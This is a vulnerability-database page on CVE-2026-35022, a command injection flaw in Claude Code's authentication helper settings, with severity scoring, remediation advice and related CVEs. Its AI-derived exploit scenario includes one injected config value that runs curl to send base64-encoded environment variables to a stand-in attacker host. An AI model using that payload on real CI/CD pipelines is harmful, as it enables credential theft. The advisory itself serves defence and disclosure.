Skip to main content

Claude Code CVE-2026-35022

| EUVDEUVD-2026-19442 CRITICAL
OS Command Injection (CWE-78)
2026-04-06 VulnCheck GHSA-479q-mw77-pmr5
9.3
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Inject shell metacharacters into auth helper config
  2. Exploit
    Pass malicious apiKeyHelper/awsAuthRefresh parameter
  3. Execution
    Execute arbitrary commands with shell=true
  4. Impact
    Exfiltrate credentials and environment variables

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must influence authentication settings in Anthropic Claude Code CLI or Claude Agent SDK by modifying configuration parameters (apiKeyHelper, awsAuthRefresh, awsCredentialExport, gcpAuthRefresh) with shell metacharacters. Exploitation occurs when the CLI/SDK executes these helpers using shell=true without validation. Remote unauthenticated exploitation possible if attacker controls configuration files or environment.

Impact

The CVSS 4.0 score of 9.3 reflects critical severity with network attack vector (AV:N), low complexity (AC:L), no attack complexity (AT:N), no privileges required (PR:N), and no user interaction (UI:N), resulting in high confidential impact (VC:H), integrity impact (VI:H), and availability impact (VA:H). This scoring accurately represents the real-world risk given that publicly available exploit code exists, significantly lowering the barrier to exploitation. While no EPSS score or CISA KEV listing is provided in the available data, the combination of unauthenticated remote exploitation, low attack complexity, and public POC availability indicates high probability of exploitation attempts. The vulnerability poses exceptional risk in CI/CD environments where Claude SDKs may run with access to cloud credentials, API keys, and sensitive environment variables - precisely the targets Phoenix Security's advisory identifies. The command injection primitive enables full compromise of the execution environment, making this a genuine priority requiring immediate remediation despite the absence of confirmed active exploitation at time of analysis. Organizations using these tools in automated pipelines should treat this as a critical incident response scenario.

Exploit ScenarioDerived

An attacker targeting a CI/CD pipeline identifies that a GitHub Actions workflow uses the Claude Agent SDK for Python with authentication helpers configured through environment variables. The attacker submits a pull request containing a workflow modification that injects shell metacharacters into the awsAuthRefresh parameter, such as 'legitimate-helper; curl attacker.com/exfil?data=$(env | base64); #'. When the CI/CD system executes the workflow, the vulnerable SDK processes this configuration with shell=true, executing both the legitimate helper and the injected commands. The attacker's command exfiltrates all environment variables-including AWS credentials, GitHub tokens, and API keys-to their controlled server. With these stolen credentials, the attacker gains persistent access to the organization's cloud infrastructure and code repositories. The publicly available exploit code documented in Phoenix Security's advisory at https://phoenix.security/critical-ci-cd-nightmare-3-command-injection-flaws-in-claude-code-cli-allow-credential-exfiltration/ provides attackers with ready-made techniques to exploit this vulnerability at scale.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 06, 2026

OS command injection in Anthropic Claude Code CLI and Agent SDK for Python allows remote, unauthenticated attackers to execute arbitrary commands through unsanitized authentication helper parameters processed with shell=true. The vulnerability enables credential theft and environment variable exfiltration in CI/CD pipelines where these tools run with elevated automation privileges. Publicly available exploit code exists, creating immediate risk for organizations using these SDKs in automated workflows.

RemediationAI

Organizations should immediately audit all deployments of Anthropic Claude Code CLI and Claude Agent SDK for Python, particularly in CI/CD pipelines and automated environments. Primary mitigation requires upgrading to patched versions once released by Anthropic; monitor the vendor advisory at https://www.vulncheck.com/advisories/anthropic-claude-code-agent-sdk-os-command-injection-via-authentication-helper for patch availability. Until patches are deployed, implement these interim controls: disable or remove authentication helper functionality if not operationally required; restrict configuration file permissions to prevent unauthorized modification of helper parameters; implement strict input validation on any authentication configuration sources; use application-level allowlisting to restrict which helper programs can be executed; isolate Claude SDK execution in containerized environments with minimal credential access; rotate all credentials that may have been exposed in affected environments; and monitor process execution logs for suspicious shell metacharacter patterns in authentication helper invocations. For critical environments, consider temporarily suspending use of these tools until vendor patches are confirmed and applied.

Affected VersionsENISA

Claude Agent SDK for Python 0 ≤0.1.55
Claude Code 0 ≤2.1.91

Affected Packages

euvd claude_agent_sdk_for_python no fix
euvd claude_code no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability stems from CWE-78 (OS Command Injection) in the authentication helper execution logic of both the Claude Code CLI (cpe:2.3:a:anthropic:claude_code) and Claude Agent SDK for Python (cpe:2.3:a:anthropic:claude_agent_sdk_for_python). The affected components execute authentication helper commands using Python's subprocess module with shell=true parameter, directly interpolating user-controllable configuration values including apiKeyHelper, awsAuthRefresh, awsCredentialExport, and gcpAuthRefresh without input sanitization. When shell=true is enabled, shell metacharacters such as semicolons, pipes, backticks, and command substitution operators are interpreted by the underlying shell, allowing attackers to break out of the intended command context. This design flaw is particularly dangerous in authentication workflows where external helper programs are invoked to retrieve credentials, as these execution paths typically run with the full privileges of the calling process. The vulnerability is exploitable wherever authentication configuration can be influenced, including through environment variables, configuration files, or API parameters in automated environments.

Know when Claude Code gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
PoC Detected
Apr 07, 2026 - 13:20 vuln.today
Public exploit code
CVE Published
Apr 06, 2026 - 18:59 nvd
CRITICAL 9.3

DescriptionCVE.org

Anthropic Claude Code CLI and Claude Agent SDK contain an OS command injection vulnerability in authentication helper execution where helper configuration values are executed using shell=true without input validation. Attackers who can influence authentication settings can inject shell metacharacters through parameters like apiKeyHelper, awsAuthRefresh, awsCredentialExport, and gcpAuthRefresh to execute arbitrary commands with the privileges of the user or automation environment, enabling credential theft and environment variable exfiltration.

Executive ViewAI

Why It Matters

CVE-2026-35022 is a critical OS command injection vulnerability in Anthropic's Claude Code CLI and Agent SDK for Python that allows unauthenticated remote attackers to execute arbitrary commands in CI/CD pipelines. Organizations using these tools in automated workflows face immediate risk of credential theft and environment variable exfiltration, particularly where pipeline runners operate with elevated privileges. This requires urgent inventory and containment given the public exploit availability and absence of a vendor patch.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Immediately discontinue use of Claude Code CLI and Agent SDK for Python in CI/CD pipelines until patch available; (2) If discontinuation not feasible, isolate affected runners in network sandboxes with no access to credential stores, secrets managers, or production resources; (3) Run all CLI/SDK invocations in containerized environments with minimal environment variable exposure and read-only filesystem mounts where possible; (4) Implement strict input validation and sanitization of all authentication helper parameters before passing to SDK; (5) Enable comprehensive audit logging of all command execution within affected runners; (6) Consider temporary migration to alternative LLM CLI tools pending Anthropic patch availability.

Threat Intelligence Overview

EPSS Score
0.2%
Top 52% exploitable
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

66
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2025-59536 HIGH POC
8.7 Oct 03

Code injection in Anthropic's Claude Code CLI before version 1.0.111 allows malicious code embedded in a project directo

CVE-2026-35020 HIGH POC
8.6 Apr 06

OS command injection in Anthropic Claude Code CLI and Claude Agent SDK for Python allows local attackers to execute arbi

CVE-2026-35021 HIGH POC
8.4 Apr 06

OS command injection in Anthropic Claude Code CLI and Claude Agent SDK for Python enables arbitrary command execution vi

CVE-2026-39861 HIGH POC
7.7 Apr 21

Sandbox escape in Claude Code versions prior to 2.1.64 enables arbitrary file writes outside the workspace by exploiting

CVE-2026-25725 CRITICAL
10.0 Feb 06

Claude Code prior to version 2.1.2 has a CVSS 10.0 sandbox escape in the bubblewrap sandboxing mechanism, allowing code

CVE-2025-66032 CRITICAL POC
9.8 Dec 03

Claude Code is an agentic coding tool. Prior to 1.0.93, Due to errors in parsing shell commands related to $IFS and shor

CVE-2026-25722 CRITICAL
9.1 Feb 06

Claude Code prior to version 2.0.57 failed to properly validate MCP tool inputs, allowing malicious MCP servers to injec

CVE-2026-24887 HIGH POC
8.8 Feb 03

Claude Code versions before 2.0.72 allow authenticated attackers to execute arbitrary commands by exploiting a command p

CVE-2025-64755 HIGH
8.7 Nov 21

Claude Code is an agentic coding tool. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, no au

CVE-2026-55607 HIGH
7.7 Jun 29

Sandbox escape and code execution in Anthropic's Claude Code CLI (versions 2.1.38 through 2.1.162) lets a malicious repo

CVE-2025-65099 HIGH
7.7 Nov 19

Claude Code is an agentic coding tool. Rated high severity (CVSS 7.7), this vulnerability is remotely exploitable, no au

CVE-2025-59828 HIGH
7.7 Sep 24

Claude Code is an agentic coding tool. Rated high severity (CVSS 7.7), this vulnerability is remotely exploitable, no au

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy